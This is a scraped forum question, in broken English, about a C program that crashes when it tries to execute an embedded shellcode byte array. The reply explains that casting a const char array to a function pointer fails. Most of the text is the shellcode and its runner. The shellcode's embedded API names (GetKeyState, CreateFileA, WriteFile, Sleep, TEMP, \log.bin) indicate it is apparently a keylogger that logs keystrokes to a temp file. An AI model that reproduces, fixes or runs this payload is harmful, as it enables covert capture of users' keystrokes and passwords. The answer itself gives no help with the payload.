exe - Stackdump - compiled .c code -

if execute following code, it´s prin stack dump error message:

1 [main] myprog 10876 cygwin_exception::open_stackdumpfile: dumping stack trace myprog.exe.stackdump 

after prints

shellcode length: 601 

can me, should change, working? have compiled sublime text , cygwin on windows 10 64bit.

this code:

#include <stdio.h> #include <string.h>  const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"     "\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"     "\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"     "\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"     "\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"     "\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"     "\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"     "\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"     "\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"     "\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"     "\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"     "\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"     "\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"     "\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"     "\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"     "\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"     "\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"     "\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"     "\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"     "\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"     "\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"     "\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"     "\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"     "\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"     "\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"     "\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"     "\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"     "\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"     "\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"     "\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"     "\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"     "\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"     "\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"     "\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"     "\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"     "\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"     "\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"     "\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";  int main(int argc, char *argv[]){ printf("shellcode length: %d\n", (int)strlen(sc)); (*(void(*)(void))&sc)(); return 0; } 

this: (*(void(*)(void))&sc)();

you're taking pointer first element of const char[], casting function pointer , attempting execute function.

i can't imagine ever succeeding.... way can think of 'get working', since have no idea intention is, not cast const char pointer , attempt execute function.

if want pointer function, easy:

void sc (void) {     // things }  int main (void) {     void (*fptr)(void);      fptr = sc;     fptr(); }